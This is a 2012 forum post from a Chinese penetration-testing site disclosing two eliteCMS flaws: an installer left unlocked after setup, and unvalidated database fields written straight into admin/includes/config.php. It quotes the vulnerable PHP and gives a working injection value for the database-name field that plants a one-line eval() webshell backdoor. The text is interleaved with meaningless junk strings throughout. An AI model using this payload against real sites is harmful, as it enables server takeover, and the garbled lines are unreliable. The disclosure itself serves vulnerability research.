中国网络渗透测试联盟
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
[打印本页]
作者:
admin
时间:
2012-11-18 13:59
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
! Q+ \; `4 o* D7 D
, n; M+ m2 A; Q
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
6 E3 ?3 M# v$ T: O0 G
我们来看代码：
+ |# i& v8 R) L1 A. B0 m
5 D! C# M, p- U C
...
5 g) Z3 q& t3 e6 u& `& ^! ~# S
elseif ($_GET['step'] == "4") {
2 W) z: Y- ?7 f) B4 Z
$file = "../admin/includes/config.php";
% ~! @2 F+ |0 S3 U
$write = "<?php\n";
9 p; U" z: e3 }, y" W5 Z1 x3 {
$write .= "/**\n";
5 ~& ]: m7 p$ B+ ^. Y/ A; N2 H
$write .= "*\n";
7 I9 ` c* m1 c& t, o: ]/ O
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
" ] ?& ~5 Q* j- u7 t
...略...
4 Z* g# g, k" _; Q2 f
$write .= "*\n";
: G% Q/ O5 W0 I4 E
$write .= "*/\n";
1 L; _% s" b- |! {! W4 g9 @' d( @
$write .= "\n";
- F6 L o+ x. Z
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
: x6 e0 w7 Y9 x9 r$ |; {, I; G
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
- v Q8 X) F- J. H
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
4 x- P& P) }, y
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
/ R. @5 q' r' }. y
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
0 c8 d. B1 Z3 ^
$write .= "if (!\$connection) {\n";
* @* b: T# X( M# ]" N6 M
$write .= " die(\"Database connection failed\" .mysql_error());\n";
% H: ^9 }; b5 i( I+ ]. S
$write .= " \n";
0 U E# z- s5 v! W, x* \
$write .= "} \n";
7 c1 h& g) w& x$ T
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
J$ @) e& E! B
$write .= "if (!\$db_select) {\n";
/ {* b- g3 E" ^
$write .= " die(\"Database select failed\" .mysql_error());\n";
$ T' M% y/ O k9 j8 R# ^" `
$write .= " \n";
* T# z+ m Y: i1 B! L2 J
$write .= "} \n";
8 y9 \) W. Z4 j4 k
$write .= "?>\n";
, ]& e9 T6 W+ u' g1 V
$ x% b6 [/ W( a. r" B5 [( C5 r) T
$writer = fopen($file, 'w');
! w( H% A+ ?$ A
...
w2 E2 q2 c8 L4 k
/ H+ E! A! h: w7 H7 m5 Z8 v7 P
在看代码：
" D1 M0 u; Z' @- z' U3 h+ X
k9 z& v. K+ ] \
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
) M( R, F; l# h4 z, n' F P
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
5 w0 h) V& a7 H1 w5 k2 u% {8 [" Q& O6 ~
$_SESSION['DB_USER'] = $_POST['DB_USER'];
, K# }) Z0 A; r' y4 B: _/ X
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
8 R5 h9 P+ Q0 R
C/ {9 h3 ~, [% e
取值未作任何验证
0 d M; P& v' N4 E! D
如果将数据库名POST数据：
; Y/ o4 u( y: O4 ~0 m* @3 `
; U- {# G1 w: B$ f' j9 ]5 e
"?><?php eval($_POST[c]);?><?php
, {' [9 {# B) Z$ Y3 V
7 A4 W" V- }" s. q: U& J5 {
将导致一句话后门写入/admin/includes/config.php
. ]% O. \9 W& r4 f1 _) i+ q* \
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2